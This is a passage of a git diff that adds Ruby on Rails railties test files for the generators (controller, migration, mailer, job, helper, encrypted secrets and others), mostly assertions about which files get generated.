+  def test_channel_on_revoke
+    run_generator ["chat"]
+    run_generator ["chat"], behavior: :revoke
+
+    assert_no_file "app/channels/chat_channel.rb"
+    assert_no_file "app/assets/javascripts/channels/chat.js"
+
+    assert_file "app/channels/application_cable/channel.rb"
+    assert_file "app/channels/application_cable/connection.rb"
+    assert_file "app/assets/javascripts/cable.js"
+  end
+end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
new file mode 100644
index 0000000000..af86a0136f
--- /dev/null
+++ b/railties/test/generators/controller_generator_test.rb
@@ -0,0 +1,103 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/controller/controller_generator"
+
+class ControllerGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(Account foo bar)
+
+  setup :copy_routes
+
+  def test_help_does_not_show_invoked_generators_options_if_they_already_exist
+    content = run_generator ["--help"]
+    assert_no_match(/Helper options\:/, content)
+  end
+
+  def test_controller_skeleton_is_created
+    run_generator
+    assert_file "app/controllers/account_controller.rb", /class AccountController < ApplicationController/
+  end
+
+  def test_check_class_collision
+    Object.send :const_set, :ObjectController, Class.new
+    content = capture(:stderr) { run_generator ["object"] }
+    assert_match(/The name 'ObjectController' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :ObjectController
+  end
+
+  def test_invokes_helper
+    run_generator
+    assert_file "app/helpers/account_helper.rb"
+  end
+
+  def test_does_not_invoke_helper_if_required
+    run_generator ["account", "--skip-helper"]
+    assert_no_file "app/helpers/account_helper.rb"
+  end
+
+  def test_invokes_assets
+    run_generator
+    assert_file "app/assets/javascripts/account.js"
+    assert_file "app/assets/stylesheets/account.css"
+  end
+
+  def test_does_not_invoke_assets_if_required
+    run_generator ["account", "--skip-assets"]
+    assert_no_file "app/assets/javascripts/account.js"
+    assert_no_file "app/assets/stylesheets/account.css"
+  end
+
+  def test_invokes_default_test_framework
+    run_generator
+    assert_file "test/controllers/account_controller_test.rb"
+  end
+
+  def test_does_not_invoke_test_framework_if_required
+    run_generator ["account", "--no-test-framework"]
+    assert_no_file "test/controllers/account_controller_test.rb"
+  end
+
+  def test_invokes_default_template_engine
+    run_generator
+    assert_file "app/views/account/foo.html.erb", %r(app/views/account/foo\.html\.erb)
+    assert_file "app/views/account/bar.html.erb", %r(app/views/account/bar\.html\.erb)
+  end
+
+  def test_add_routes
+    run_generator
+    assert_file "config/routes.rb", /^  get 'account\/foo'/, /^  get 'account\/bar'/
+  end
+
+  def test_skip_routes
+    run_generator ["account", "foo", "--skip-routes"]
+    assert_file "config/routes.rb" do |routes|
+      assert_no_match(/get 'account\/foo'/, routes)
+    end
+  end
+
+  def test_invokes_default_template_engine_even_with_no_action
+    run_generator ["account"]
+    assert_file "app/views/account"
+  end
+
+  def test_template_engine_with_class_path
+    run_generator ["admin/account"]
+    assert_file "app/views/admin/account"
+  end
+
+  def test_actions_are_turned_into_methods
+    run_generator
+
+    assert_file "app/controllers/account_controller.rb" do |controller|
+      assert_instance_method :foo, controller
+      assert_instance_method :bar, controller
+    end
+  end
+
+  def test_namespaced_routes_are_created_in_routes
+    run_generator ["admin/dashboard", "index"]
+    assert_file "config/routes.rb" do |route|
+      assert_match(/^  namespace :admin do\n    get 'dashboard\/index'\n  end$/, route)
+    end
+  end
+end
diff --git a/railties/test/generators/create_migration_test.rb b/railties/test/generators/create_migration_test.rb
new file mode 100644
index 0000000000..c7b0237f02
--- /dev/null
+++ b/railties/test/generators/create_migration_test.rb
@@ -0,0 +1,134 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/migration/migration_generator"
+
+class CreateMigrationTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  class Migrator < Rails::Generators::MigrationGenerator
+    include Rails::Generators::Migration
+
+    def self.next_migration_number(dirname)
+      current_migration_number(dirname) + 1
+    end
+  end
+
+  tests Migrator
+
+  def default_destination_path
+    "db/migrate/create_articles.rb"
+  end
+
+  def create_migration(destination_path = default_destination_path, config = {}, generator_options = {}, &block)
+    migration_name = File.basename(destination_path, ".rb")
+    generator([migration_name], generator_options)
+    generator.set_migration_assigns!(destination_path)
+
+    dir, base = File.split(destination_path)
+    timestamped_destination_path = File.join(dir, ["%migration_number%", base].join("_"))
+
+    @migration = Rails::Generators::Actions::CreateMigration.new(generator, timestamped_destination_path, block || "contents", config)
+  end
+
+  def migration_exists!(*args)
+    @existing_migration = create_migration(*args)
+    invoke!
+    @generator = nil
+  end
+
+  def invoke!
+    capture(:stdout) { @migration.invoke! }
+  end
+
+  def revoke!
+    capture(:stdout) { @migration.revoke! }
+  end
+
+  def test_invoke
+    create_migration
+
+    assert_match(/create  db\/migrate\/1_create_articles\.rb\n/, invoke!)
+    assert_file @migration.destination
+  end
+
+  def test_invoke_pretended
+    create_migration(default_destination_path, {}, pretend: true)
+
+    assert_no_file @migration.destination
+  end
+
+  def test_invoke_when_exists
+    migration_exists!
+    create_migration
+
+    assert_equal @existing_migration.destination, @migration.existing_migration
+  end
+
+  def test_invoke_when_exists_identical
+    migration_exists!
+    create_migration
+
+    assert_match(/identical  db\/migrate\/1_create_articles\.rb\n/, invoke!)
+    assert @migration.identical?
+  end
+
+  def test_invoke_when_exists_not_identical
+    migration_exists!
+    create_migration { "different content" }
+
+    assert_raise(Rails::Generators::Error) { invoke! }
+  end
+
+  def test_invoke_forced_when_exists_not_identical
+    dest = "db/migrate/migration.rb"
+    migration_exists!(dest)
+    create_migration(dest, force: true) { "different content" }
+
+    stdout = invoke!
+    assert_match(/remove  db\/migrate\/1_migration\.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_migration\.rb\n/, stdout)
+    assert_file @migration.destination
+    assert_no_file @existing_migration.destination
+  end
+
+  def test_invoke_forced_pretended_when_exists_not_identical
+    migration_exists!
+    create_migration(default_destination_path, { force: true }, pretend: true) do
+      "different content"
+    end
+
+    stdout = invoke!
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_create_articles\.rb\n/, stdout)
+    assert_no_file @migration.destination
+  end
+
+  def test_invoke_skipped_when_exists_not_identical
+    migration_exists!
+    create_migration(default_destination_path, {}, skip: true) { "different content" }
+
+    assert_match(/skip  db\/migrate\/2_create_articles\.rb\n/, invoke!)
+    assert_no_file @migration.destination
+  end
+
+  def test_revoke
+    migration_exists!
+    create_migration
+
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, revoke!)
+    assert_no_file @existing_migration.destination
+  end
+
+  def test_revoke_pretended
+    migration_exists!
+    create_migration(default_destination_path, {}, pretend: true)
+
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, revoke!)
+    assert_file @existing_migration.destination
+  end
+
+  def test_revoke_when_no_exists
+    create_migration
+
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, revoke!)
+  end
+end
diff --git a/railties/test/generators/encrypted_secrets_generator_test.rb b/railties/test/generators/encrypted_secrets_generator_test.rb
new file mode 100644
index 0000000000..21fdcab19f
--- /dev/null
+++ b/railties/test/generators/encrypted_secrets_generator_test.rb
@@ -0,0 +1,42 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/encrypted_secrets/encrypted_secrets_generator"
+
+class EncryptedSecretsGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def setup
+    super
+    cd destination_root
+  end
+
+  def test_generates_key_file_and_encrypted_secrets_file
+    run_generator
+
+    assert_file "config/secrets.yml.key", /\w+/
+
+    assert File.exist?("config/secrets.yml.enc")
+    assert_no_match(/production:\n#  external_api_key: \w+/, IO.binread("config/secrets.yml.enc"))
+    assert_match(/production:\n#  external_api_key: \w+/, Rails::Secrets.read)
+  end
+
+  def test_appends_to_gitignore
+    FileUtils.touch(".gitignore")
+
+    run_generator
+
+    assert_file ".gitignore", /config\/secrets.yml.key/, /(?!config\/secrets.yml.enc)/
+  end
+
+  def test_warns_when_ignore_is_missing
+    assert_match(/Add this to your ignore file/i, run_generator)
+  end
+
+  def test_doesnt_generate_a_new_key_file_if_already_opted_in_to_encrypted_secrets
+    FileUtils.mkdir("config")
+    File.open("config/secrets.yml.enc", "w") { |f| f.puts "already secrety" }
+
+    run_generator
+
+    assert_no_file "config/secrets.yml.key"
+  end
+end
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
new file mode 100644
index 0000000000..97847c8624
--- /dev/null
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -0,0 +1,152 @@
+require "generators/generators_test_helper"
+require "rails/generators/generated_attribute"
+
+class GeneratedAttributeTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_field_type_returns_number_field
+    assert_field_type :integer, :number_field
+  end
+
+  def test_field_type_returns_text_field
+    %w(float decimal string).each do |attribute_type|
+      assert_field_type attribute_type, :text_field
+    end
+  end
+
+  def test_field_type_returns_datetime_select
+    %w(datetime timestamp).each do |attribute_type|
+      assert_field_type attribute_type, :datetime_select
+    end
+  end
+
+  def test_field_type_returns_time_select
+    assert_field_type :time, :time_select
+  end
+
+  def test_field_type_returns_date_select
+    assert_field_type :date, :date_select
+  end
+
+  def test_field_type_returns_text_area
+    assert_field_type :text, :text_area
+  end
+
+  def test_field_type_returns_check_box
+    assert_field_type :boolean, :check_box
+  end
+
+  def test_field_type_with_unknown_type_returns_text_field
+    %w(foo bar baz).each do |attribute_type|
+      assert_field_type attribute_type, :text_field
+    end
+  end
+
+  def test_default_value_is_integer
+    assert_field_default_value :integer, 1
+  end
+
+  def test_default_value_is_float
+    assert_field_default_value :float, 1.5
+  end
+
+  def test_default_value_is_decimal
+    assert_field_default_value :decimal, "9.99"
+  end
+
+  def test_default_value_is_datetime
+    %w(datetime timestamp time).each do |attribute_type|
+      assert_field_default_value attribute_type, Time.now.to_s(:db)
+    end
+  end
+
+  def test_default_value_is_date
+    assert_field_default_value :date, Date.today.to_s(:db)
+  end
+
+  def test_default_value_is_string
+    assert_field_default_value :string, "MyString"
+  end
+
+  def test_default_value_for_type
+    att = Rails::Generators::GeneratedAttribute.parse("type:string")
+    assert_equal("", att.default)
+  end
+
+  def test_default_value_is_text
+    assert_field_default_value :text, "MyText"
+  end
+
+  def test_default_value_is_boolean
+    assert_field_default_value :boolean, false
+  end
+
+  def test_default_value_is_nil
+    %w(references belongs_to).each do |attribute_type|
+      assert_field_default_value attribute_type, nil
+    end
+  end
+
+  def test_default_value_is_empty_string
+    %w(foo bar baz).each do |attribute_type|
+      assert_field_default_value attribute_type, ""
+    end
+  end
+
+  def test_human_name
+    assert_equal(
+      "Full name",
+      create_generated_attribute(:string, "full_name").human_name
+    )
+  end
+
+  def test_reference_is_true
+    %w(references belongs_to).each do |attribute_type|
+      assert create_generated_attribute(attribute_type).reference?
+    end
+  end
+
+  def test_reference_is_false
+    %w(foo bar baz).each do |attribute_type|
+      assert !create_generated_attribute(attribute_type).reference?
+    end
+  end
+
+  def test_polymorphic_reference_is_true
+    %w(references belongs_to).each do |attribute_type|
+      assert create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+    end
+  end
+
+  def test_polymorphic_reference_is_false
+    %w(foo bar baz).each do |attribute_type|
+      assert !create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+    end
+  end
+
+  def test_blank_type_defaults_to_string_raises_exception
+    assert_equal :string, create_generated_attribute(nil, "title").type
+    assert_equal :string, create_generated_attribute("", "title").type
+  end
+
+  def test_handles_index_names_for_references
+    assert_equal "post", create_generated_attribute("string", "post").index_name
+    assert_equal "post_id", create_generated_attribute("references", "post").index_name
+    assert_equal "post_id", create_generated_attribute("belongs_to", "post").index_name
+    assert_equal ["post_id", "post_type"], create_generated_attribute("references{polymorphic}", "post").index_name
+  end
+
+  def test_handles_column_names_for_references
+    assert_equal "post", create_generated_attribute("string", "post").column_name
+    assert_equal "post_id", create_generated_attribute("references", "post").column_name
+    assert_equal "post_id", create_generated_attribute("belongs_to", "post").column_name
+  end
+
+  def test_parse_required_attribute_with_index
+    att = Rails::Generators::GeneratedAttribute.parse("supplier:references{required}:index")
+    assert_equal "supplier", att.name
+    assert_equal :references, att.type
+    assert att.has_index?
+    assert att.required?
+  end
+end
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
new file mode 100644
index 0000000000..5ff8bb0357
--- /dev/null
+++ b/railties/test/generators/generator_generator_test.rb
@@ -0,0 +1,71 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/generator/generator_generator"
+
+class GeneratorGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(awesome)
+
+  def test_generator_skeleton_is_created
+    run_generator
+
+    %w(
+      lib/generators/awesome
+      lib/generators/awesome/USAGE
+      lib/generators/awesome/templates
+    ).each { |path| assert_file path }
+
+    assert_file "lib/generators/awesome/awesome_generator.rb",
+                /class AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/awesome_generator_test.rb",
+               /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/awesome\/awesome_generator'/
+  end
+
+  def test_namespaced_generator_skeleton
+    run_generator ["rails/awesome"]
+
+    %w(
+      lib/generators/rails/awesome
+      lib/generators/rails/awesome/USAGE
+      lib/generators/rails/awesome/templates
+    ).each { |path| assert_file path }
+
+    assert_file "lib/generators/rails/awesome/awesome_generator.rb",
+                /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+               /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/rails\/awesome\/awesome_generator'/
+  end
+
+  def test_generator_skeleton_is_created_without_file_name_namespace
+    run_generator ["awesome", "--namespace", "false"]
+
+    %w(
+      lib/generators/
+      lib/generators/USAGE
+      lib/generators/templates
+    ).each { |path| assert_file path }
+
+    assert_file "lib/generators/awesome_generator.rb",
+                /class AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/awesome_generator_test.rb",
+               /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/awesome_generator'/
+  end
+
+  def test_namespaced_generator_skeleton_without_file_name_namespace
+    run_generator ["rails/awesome", "--namespace", "false"]
+
+    %w(
+      lib/generators/rails
+      lib/generators/rails/USAGE
+      lib/generators/rails/templates
+    ).each { |path| assert_file path }
+
+    assert_file "lib/generators/rails/awesome_generator.rb",
+                /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+               /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/rails\/awesome_generator'/
+  end
+end
diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb
new file mode 100644
index 0000000000..4444b3a56e
--- /dev/null
+++ b/railties/test/generators/generator_test.rb
@@ -0,0 +1,100 @@
+require "active_support/test_case"
+require "active_support/testing/autorun"
+require "rails/generators/app_base"
+
+module Rails
+  module Generators
+    class GeneratorTest < ActiveSupport::TestCase
+      def make_builder_class
+        Class.new(AppBase) do
+          add_shared_options_for "application"
+
+          # include a module to get around thor's method_added hook
+          include(Module.new {
+            def gemfile_entries; super; end
+            def invoke_all; super; self; end
+            def add_gem_entry_filter; super; end
+            def gemfile_entry(*args); super; end
+          })
+        end
+      end
+
+      def test_construction
+        klass = make_builder_class
+        assert klass.start(["new", "blah"])
+      end
+
+      def test_add_gem
+        klass = make_builder_class
+        generator = klass.start(["new", "blah"])
+        generator.gemfile_entry "tenderlove"
+        assert_includes generator.gemfile_entries.map(&:name), "tenderlove"
+      end
+
+      def test_add_gem_with_version
+        klass = make_builder_class
+        generator = klass.start(["new", "blah"])
+        generator.gemfile_entry "tenderlove", "2.0.0"
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == "tenderlove" && gfe.version == "2.0.0"
+        }
+      end
+
+      def test_add_github_gem
+        klass = make_builder_class
+        generator = klass.start(["new", "blah"])
+        generator.gemfile_entry "tenderlove", github: "hello world"
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == "tenderlove" && gfe.options[:github] == "hello world"
+        }
+      end
+
+      def test_add_path_gem
+        klass = make_builder_class
+        generator = klass.start(["new", "blah"])
+        generator.gemfile_entry "tenderlove", path: "hello world"
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == "tenderlove" && gfe.options[:path] == "hello world"
+        }
+      end
+
+      def test_filter
+        klass     = make_builder_class
+        generator = klass.start(["new", "blah"])
+        gems      = generator.gemfile_entries
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems.first.name
+        }
+        assert_equal gems.drop(1), generator.gemfile_entries
+      end
+
+      def test_two_filters
+        klass     = make_builder_class
+        generator = klass.start(["new", "blah"])
+        gems      = generator.gemfile_entries
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems.first.name
+        }
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems[1].name
+        }
+        assert_equal gems.drop(2), generator.gemfile_entries
+      end
+
+      def test_recommended_rails_versions
+        klass     = make_builder_class
+        generator = klass.start(["new", "blah"])
+
+        specifier_for = -> v { generator.send(:rails_version_specifier, Gem::Version.new(v)) }
+
+        assert_equal "~> 4.1.13", specifier_for["4.1.13"]
+        assert_equal "~> 4.1.6.rc1", specifier_for["4.1.6.rc1"]
+        assert_equal ["~> 4.1.7", ">= 4.1.7.1"], specifier_for["4.1.7.1"]
+        assert_equal ["~> 4.1.7", ">= 4.1.7.1.2"], specifier_for["4.1.7.1.2"]
+        assert_equal ["~> 4.1.7", ">= 4.1.7.1.rc2"], specifier_for["4.1.7.1.rc2"]
+        assert_equal "~> 4.2.0.beta1", specifier_for["4.2.0.beta1"]
+        assert_equal "~> 5.0.0.beta1", specifier_for["5.0.0.beta1"]
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
new file mode 100644
index 0000000000..5fb331e197
--- /dev/null
+++ b/railties/test/generators/generators_test_helper.rb
@@ -0,0 +1,49 @@
+require "abstract_unit"
+require "active_support/core_ext/module/remove_method"
+require "active_support/testing/stream"
+require "active_support/testing/method_call_assertions"
+require "rails/generators"
+require "rails/generators/test_case"
+
+module Rails
+  class << self
+    remove_possible_method :root
+    def root
+      @root ||= Pathname.new(File.expand_path("../fixtures", __dir__))
+    end
+  end
+end
+Rails.application.config.root = Rails.root
+Rails.application.config.generators.templates = [File.join(Rails.root, "lib", "templates")]
+
+# Call configure to load the settings from
+# Rails.application.config.generators to Rails::Generators
+Rails.application.load_generators
+
+require "active_record"
+require "action_dispatch"
+require "action_view"
+
+module GeneratorsTestHelper
+  include ActiveSupport::Testing::Stream
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  def self.included(base)
+    base.class_eval do
+      destination File.join(Rails.root, "tmp")
+      setup :prepare_destination
+
+      begin
+        base.tests Rails::Generators.const_get(base.name.sub(/Test$/, ""))
+      rescue
+      end
+    end
+  end
+
+  def copy_routes
+    routes = File.expand_path("../../lib/rails/generators/rails/app/templates/config/routes.rb", __dir__)
+    destination = File.join(destination_root, "config")
+    FileUtils.mkdir_p(destination)
+    FileUtils.cp routes, destination
+  end
+end
diff --git a/railties/test/generators/helper_generator_test.rb b/railties/test/generators/helper_generator_test.rb
new file mode 100644
index 0000000000..d9e6e0a85a
--- /dev/null
+++ b/railties/test/generators/helper_generator_test.rb
@@ -0,0 +1,39 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/helper/helper_generator"
+
+ObjectHelper = Class.new
+AnotherObjectHelperTest = Class.new
+
+class HelperGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(admin)
+
+  def test_helper_skeleton_is_created
+    run_generator
+    assert_file "app/helpers/admin_helper.rb", /module AdminHelper/
+  end
+
+  def test_check_class_collision
+    content = capture(:stderr) { run_generator ["object"] }
+    assert_match(/The name 'ObjectHelper' is either already used in your application or reserved/, content)
+  end
+
+  def test_namespaced_and_not_namespaced_helpers
+    run_generator ["products"]
+
+    # We have to require the generated helper to show the problem because
+    # the test helpers just check for generated files and contents but
+    # do not actually load them. But they have to be loaded (as in a real environment)
+    # to make the second generator run fail
+    require "#{destination_root}/app/helpers/products_helper"
+
+    assert_nothing_raised do
+      begin
+        run_generator ["admin::products"]
+      ensure
+        # cleanup
+        Object.send(:remove_const, :ProductsHelper)
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/integration_test_generator_test.rb b/railties/test/generators/integration_test_generator_test.rb
new file mode 100644
index 0000000000..9358b63bd4
--- /dev/null
+++ b/railties/test/generators/integration_test_generator_test.rb
@@ -0,0 +1,16 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/integration_test/integration_test_generator"
+
+class IntegrationTestGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_integration_test_skeleton_is_created
+    run_generator %w(integration)
+    assert_file "test/integration/integration_test.rb", /class IntegrationTest < ActionDispatch::IntegrationTest/
+  end
+
+  def test_namespaced_integration_test_skeleton_is_created
+    run_generator %w(iguchi/integration)
+    assert_file "test/integration/iguchi/integration_test.rb", /class Iguchi::IntegrationTest < ActionDispatch::IntegrationTest/
+  end
+end
diff --git a/railties/test/generators/job_generator_test.rb b/railties/test/generators/job_generator_test.rb
new file mode 100644
index 0000000000..68d158eb39
--- /dev/null
+++ b/railties/test/generators/job_generator_test.rb
@@ -0,0 +1,36 @@
+require "generators/generators_test_helper"
+require "rails/generators/job/job_generator"
+
+class JobGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_job_skeleton_is_created
+    run_generator ["refresh_counters"]
+    assert_file "app/jobs/refresh_counters_job.rb" do |job|
+      assert_match(/class RefreshCountersJob < ApplicationJob/, job)
+    end
+  end
+
+  def test_job_queue_param
+    run_generator ["refresh_counters", "--queue", "important"]
+    assert_file "app/jobs/refresh_counters_job.rb" do |job|
+      assert_match(/class RefreshCountersJob < ApplicationJob/, job)
+      assert_match(/queue_as :important/, job)
+    end
+  end
+
+  def test_job_namespace
+    run_generator ["admin/refresh_counters", "--queue", "admin"]
+    assert_file "app/jobs/admin/refresh_counters_job.rb" do |job|
+      assert_match(/class Admin::RefreshCountersJob < ApplicationJob/, job)
+      assert_match(/queue_as :admin/, job)
+    end
+  end
+
+  def test_application_job_skeleton_is_created
+    run_generator ["refresh_counters"]
+    assert_file "app/jobs/application_job.rb" do |job|
+      assert_match(/class ApplicationJob < ActiveJob::Base/, job)
+    end
+  end
+end
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
new file mode 100644
index 0000000000..2ff03ea65e
--- /dev/null
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -0,0 +1,177 @@
+require "generators/generators_test_helper"
+require "rails/generators/mailer/mailer_generator"
+
+class MailerGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(notifier foo bar)
+
+  def test_mailer_skeleton_is_created
+    run_generator
+    assert_file "app/mailers/notifier_mailer.rb" do |mailer|
+      assert_match(/class NotifierMailer < ApplicationMailer/, mailer)
+      assert_no_match(/default from: "from@example\.com"/, mailer)
+      assert_no_match(/layout :mailer_notifier/, mailer)
+    end
+
+    assert_file "app/mailers/application_mailer.rb" do |mailer|
+      assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer)
+      assert_match(/default from: 'from@example\.com'/, mailer)
+      assert_match(/layout 'mailer'/, mailer)
+    end
+  end
+
+  def test_mailer_with_i18n_helper
+    run_generator
+    assert_file "app/mailers/notifier_mailer.rb" do |mailer|
+      assert_match(/en\.notifier_mailer\.foo\.subject/, mailer)
+      assert_match(/en\.notifier_mailer\.bar\.subject/, mailer)
+    end
+  end
+
+  def test_check_class_collision
+    Object.send :const_set, :NotifierMailer, Class.new
+    content = capture(:stderr) { run_generator }
+    assert_match(/The name 'NotifierMailer' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierMailer
+  end
+
+  def test_invokes_default_test_framework
+    run_generator
+    assert_file "test/mailers/notifier_mailer_test.rb" do |test|
+      assert_match(/class NotifierMailerTest < ActionMailer::TestCase/, test)
+      assert_match(/test "foo"/, test)
+      assert_match(/test "bar"/, test)
+    end
+    assert_file "test/mailers/previews/notifier_mailer_preview.rb" do |preview|
+      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier_mailer/, preview)
+      assert_match(/class NotifierMailerPreview < ActionMailer::Preview/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier_mailer\/foo/, preview)
+      assert_instance_method :foo, preview do |foo|
+        assert_match(/NotifierMailer\.foo/, foo)
+      end
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier_mailer\/bar/, preview)
+      assert_instance_method :bar, preview do |bar|
+        assert_match(/NotifierMailer\.bar/, bar)
+      end
+    end
+  end
+
+  def test_check_test_class_collision
+    Object.send :const_set, :NotifierMailerTest, Class.new
+    content = capture(:stderr) { run_generator }
+    assert_match(/The name 'NotifierMailerTest' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierMailerTest
+  end
+
+  def test_check_preview_class_collision
+    Object.send :const_set, :NotifierMailerPreview, Class.new
+    content = capture(:stderr) { run_generator }
+    assert_match(/The name 'NotifierMailerPreview' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierMailerPreview
+  end
+
+  def test_invokes_default_text_template_engine
+    run_generator
+    assert_file "app/views/notifier_mailer/foo.text.erb" do |view|
+      assert_match(%r(\sapp/views/notifier_mailer/foo\.text\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/notifier_mailer/bar.text.erb" do |view|
+      assert_match(%r(\sapp/views/notifier_mailer/bar\.text\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/layouts/mailer.text.erb" do |view|
+      assert_match(/<%= yield %>/, view)
+    end
+  end
+
+  def test_invokes_default_html_template_engine
+    run_generator
+    assert_file "app/views/notifier_mailer/foo.html.erb" do |view|
+      assert_match(%r(\sapp/views/notifier_mailer/foo\.html\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/notifier_mailer/bar.html.erb" do |view|
+      assert_match(%r(\sapp/views/notifier_mailer/bar\.html\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/layouts/mailer.html.erb" do |view|
+      assert_match(%r{<body>\n    <%= yield %>\n  </body>}, view)
+    end
+  end
+
+  def test_invokes_default_template_engine_even_with_no_action
+    run_generator ["notifier"]
+    assert_file "app/views/notifier_mailer"
+  end
+
+  def test_logs_if_the_template_engine_cannot_be_found
+    content = run_generator ["notifier", "foo", "bar", "--template-engine=haml"]
+    assert_match(/haml \[not found\]/, content)
+  end
+
+  def test_mailer_with_namedspaced_mailer
+    run_generator ["Farm::Animal", "moos"]
+    assert_file "app/mailers/farm/animal_mailer.rb" do |mailer|
+      assert_match(/class Farm::AnimalMailer < ApplicationMailer/, mailer)
+      assert_match(/en\.farm\.animal_mailer\.moos\.subject/, mailer)
+    end
+    assert_file "test/mailers/previews/farm/animal_mailer_preview.rb" do |preview|
+      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal_mailer/, preview)
+      assert_match(/class Farm::AnimalMailerPreview < ActionMailer::Preview/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal_mailer\/moos/, preview)
+    end
+    assert_file "app/views/farm/animal_mailer/moos.text.erb"
+    assert_file "app/views/farm/animal_mailer/moos.html.erb"
+  end
+
+  def test_actions_are_turned_into_methods
+    run_generator
+
+    assert_file "app/mailers/notifier_mailer.rb" do |mailer|
+      assert_instance_method :foo, mailer do |foo|
+        assert_match(/mail to: "to@example\.org"/, foo)
+        assert_match(/@greeting = "Hi"/, foo)
+      end
+
+      assert_instance_method :bar, mailer do |bar|
+        assert_match(/mail to: "to@example\.org"/, bar)
+        assert_match(/@greeting = "Hi"/, bar)
+      end
+    end
+  end
+
+  def test_mailer_on_revoke
+    run_generator
+    run_generator ["notifier"], behavior: :revoke
+
+    assert_no_file "app/mailers/notifier.rb"
+    assert_no_file "app/views/notifier/foo.text.erb"
+    assert_no_file "app/views/notifier/bar.text.erb"
+    assert_no_file "app/views/notifier/foo.html.erb"
+    assert_no_file "app/views/notifier/bar.html.erb"
+  end
+
+  def test_mailer_suffix_is_not_duplicated
+    run_generator ["notifier_mailer"]
+
+    assert_no_file "app/mailers/notifier_mailer_mailer.rb"
+    assert_file "app/mailers/notifier_mailer.rb"
+
+    assert_no_file "app/views/notifier_mailer_mailer/"
+    assert_file "app/views/notifier_mailer/"
+
+    assert_no_file "test/mailers/notifier_mailer_mailer_test.rb"
+    assert_file "test/mailers/notifier_mailer_test.rb"
+
+    assert_no_file "test/mailers/previews/notifier_mailer_mailer_preview.rb"
+    assert_file "test/mailers/previews/notifier_mailer_preview.rb"
+  end
+end
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
new file mode 100644
index 0000000000..6fe6e4ca07
--- /dev/null
+++ b/railties/test/generators/migration_generator_test.rb
@@ -0,0 +1,332 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/migration/migration_generator"
+
+class MigrationGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_migration
+    migration = "change_title_body_from_posts"
+    run_generator [migration]
